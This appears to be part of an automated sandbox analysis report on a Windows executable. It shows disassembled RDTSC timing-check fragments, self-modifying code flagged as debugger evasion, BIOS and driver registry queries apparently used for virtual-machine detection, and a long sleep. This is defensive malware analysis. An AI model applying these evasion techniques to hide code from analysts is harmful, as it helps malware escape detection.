Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C706B4 second address: 4C706D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40A503F440h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C706D8 second address: 4C706DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C706DE second address: 4C70759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F40A503F43Eh 0x00000013 add eax, 0FB35878h 0x00000019 jmp 00007F40A503F43Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F40A503F448h 0x00000025 and eax, 5E0472D8h 0x0000002b jmp 00007F40A503F43Bh 0x00000030 popfd 0x00000031 popad 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F40A503F445h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70884 second address: 4C708AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C708AA second address: 4C708AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C708AF second address: 4C708B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C708B7 second address: 4C708E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop esi 0x00000008 pushad 0x00000009 jmp 00007F40A503F449h 0x0000000e mov ebx, eax 0x00000010 popad 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C708E2 second address: 4C708E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 8Ch 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C708E9 second address: 4C60076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F447h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 cmp eax, 00000000h 0x00000013 setne al 0x00000016 xor ebx, ebx 0x00000018 test al, 01h 0x0000001a jne 00007F40A503F437h 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007F40A8D6C68Fh 0x00000028 mov edi, edi 0x0000002a jmp 00007F40A503F440h 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F40A503F43Eh 0x00000037 sbb ax, 8C58h 0x0000003c jmp 00007F40A503F43Bh 0x00000041 popfd 0x00000042 movzx ecx, bx 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007F40A503F440h 0x0000004e sbb esi, 47F716B8h 0x00000054 jmp 00007F40A503F43Bh 0x00000059 popfd 0x0000005a mov cx, 4EEFh 0x0000005e popad 0x0000005f xchg eax, ebp 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F40A503F441h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60076 second address: 4C6010B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F40A5132E9Ch 0x00000012 adc cx, 3B78h 0x00000017 jmp 00007F40A5132E9Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F40A5132EA8h 0x00000023 sub ecx, 60FCD5D8h 0x00000029 jmp 00007F40A5132E9Bh 0x0000002e popfd 0x0000002f popad 0x00000030 sub esp, 2Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F40A5132E9Bh 0x0000003c or eax, 452E789Eh 0x00000042 jmp 00007F40A5132EA9h 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6010B second address: 4C60111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60111 second address: 4C60115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60115 second address: 4C60149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F446h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push ebx 0x00000014 mov edi, esi 0x00000016 pop ecx 0x00000017 mov di, 3B10h 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60149 second address: 4C6014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6014D second address: 4C60153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60316 second address: 4C6031C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6031C second address: 4C60320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60320 second address: 4C6033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b mov ecx, ebx 0x0000000d mov dx, 6CC6h 0x00000011 popad 0x00000012 jg 00007F4115F30FF0h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6033E second address: 4C60342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60342 second address: 4C60348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60348 second address: 4C60372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F441h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F40A503F492h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F40A503F43Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60372 second address: 4C603C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F40A5132E9Eh 0x00000011 jne 00007F4115F30F99h 0x00000017 pushad 0x00000018 mov bx, ax 0x0000001b pushfd 0x0000001c jmp 00007F40A5132E9Ah 0x00000021 xor ax, 0228h 0x00000026 jmp 00007F40A5132E9Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebx, dword ptr [ebp+08h] 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C603C7 second address: 4C603CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C603CB second address: 4C60455 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F40A5132EA0h 0x00000008 xor ch, FFFFFF88h 0x0000000b jmp 00007F40A5132E9Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007F40A5132EA8h 0x00000018 popad 0x00000019 lea eax, dword ptr [ebp-2Ch] 0x0000001c pushad 0x0000001d mov eax, 605A4C3Dh 0x00000022 pushad 0x00000023 push esi 0x00000024 pop edi 0x00000025 pushfd 0x00000026 jmp 00007F40A5132EA4h 0x0000002b sbb eax, 53D62948h 0x00000031 jmp 00007F40A5132E9Bh 0x00000036 popfd 0x00000037 popad 0x00000038 popad 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F40A5132EA5h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60455 second address: 4C604BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 6AF2h 0x00000007 mov edi, 42F7443Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F40A503F444h 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F40A503F43Eh 0x0000001d jmp 00007F40A503F445h 0x00000022 popfd 0x00000023 jmp 00007F40A503F440h 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov al, dh 0x0000002f mov cx, 09E5h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C604BC second address: 4C604C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C604C2 second address: 4C604C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C604C6 second address: 4C604D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, FDF8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C604D9 second address: 4C60516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40A503F449h 0x00000009 and cl, FFFFFF96h 0x0000000c jmp 00007F40A503F441h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60516 second address: 4C6051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6051B second address: 4C60521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60521 second address: 4C60525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6056A second address: 4C6056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6056E second address: 4C6057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6057D second address: 4C50E6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, FDh 0x00000005 mov si, 54A7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, eax 0x0000000e jmp 00007F40A503F43Ah 0x00000013 test esi, esi 0x00000015 jmp 00007F40A503F440h 0x0000001a je 00007F4115E3D4E4h 0x00000020 xor eax, eax 0x00000022 jmp 00007F40A5018B6Ah 0x00000027 pop esi 0x00000028 pop edi 0x00000029 pop ebx 0x0000002a leave 0x0000002b retn 0004h 0x0000002e nop 0x0000002f sub esp, 04h 0x00000032 mov edi, eax 0x00000034 xor ebx, ebx 0x00000036 cmp edi, 00000000h 0x00000039 je 00007F40A503F647h 0x0000003f call 00007F40A8D5D25Ah 0x00000044 mov edi, edi 0x00000046 jmp 00007F40A503F447h 0x0000004b xchg eax, ebp 0x0000004c jmp 00007F40A503F446h 0x00000051 push eax 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F40A503F441h 0x00000059 sbb ecx, 27F3DCE6h 0x0000005f jmp 00007F40A503F441h 0x00000064 popfd 0x00000065 popad 0x00000066 xchg eax, ebp 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F40A503F448h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50E6A second address: 4C50E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50E70 second address: 4C50EA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, cx 0x0000000e pushfd 0x0000000f jmp 00007F40A503F440h 0x00000014 or si, BE18h 0x00000019 jmp 00007F40A503F43Bh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50EA8 second address: 4C50EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50EAC second address: 4C50EC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F447h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C50EC7 second address: 4C50ECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C6095E second address: 4C609EA instructions: 0x00000000 rdtsc 0x00000002 mov si, 1877h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov bx, ax 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushfd 0x00000010 jmp 00007F40A503F43Bh 0x00000015 and cl, FFFFFFFEh 0x00000018 jmp 00007F40A503F449h 0x0000001d popfd 0x0000001e pop ecx 0x0000001f mov ah, bh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F40A503F448h 0x00000029 cmp dword ptr [75AB459Ch], 05h 0x00000030 jmp 00007F40A503F440h 0x00000035 je 00007F4115E2D46Ah 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F40A503F447h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60A8C second address: 4C60A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60A90 second address: 4C60A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60A94 second address: 4C60A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60A9A second address: 4C60ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F40A503F449h 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 1B24E969h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F40A503F446h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60ADB second address: 4C60B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F4115F27F1Eh 0x0000000e push 75A52B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AB4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007F40A5132EA6h 0x00000058 sub esi, esi 0x0000005a jmp 00007F40A5132EA1h 0x0000005f mov dword ptr [ebp-1Ch], esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60B21 second address: 4C60B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C60B25 second address: 4C60B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70997 second address: 4C7099D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C7099D second address: 4C709F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F40A5132EA1h 0x00000010 push ecx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 mov ax, di 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007F40A5132E9Fh 0x0000001d mov esi, dword ptr [ebp+0Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F40A5132EA5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C709F3 second address: 4C70A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40A503F447h 0x00000009 sbb ecx, 13BB13BEh 0x0000000f jmp 00007F40A503F449h 0x00000014 popfd 0x00000015 mov dh, ch 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F40A503F446h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70A4D second address: 4C70A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A5132E9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70A5F second address: 4C70A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70A63 second address: 4C70AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F4115F107E2h 0x0000000e jmp 00007F40A5132EA7h 0x00000013 cmp dword ptr [75AB459Ch], 05h 0x0000001a jmp 00007F40A5132EA6h 0x0000001f je 00007F4115F28888h 0x00000025 pushad 0x00000026 mov ecx, 30BD26FDh 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70AB5 second address: 4C70AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F40A503F447h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70AD6 second address: 4C70AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A5132EA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70AEE second address: 4C70AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 4C70B5C second address: 4C70B74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, 26FACAE9h 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov edx, 57589CD2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 615EDD4 second address: 615EDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 615EDDA second address: 615EDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Bh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F40A5132E9Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 615DEE4 second address: 615DF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Fh 0x00000007 jmp 00007F40A503F43Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F40A503F447h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 615DF21 second address: 615DF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 614A3AE second address: 614A3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 615E05D second address: 615E061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: F58BE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: F58B07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 10FA7FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 1107B93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 118E40D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 5FDDDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 61B5DB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 5FDDDCD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Special instruction interceptor: First address: 62253CB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Code function: 0_2_05FE0D96 rdtsc

0_2_05FE0D96

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe TID: 7376	Thread sleep time: -32016s >= -30000s			Jump to behavior
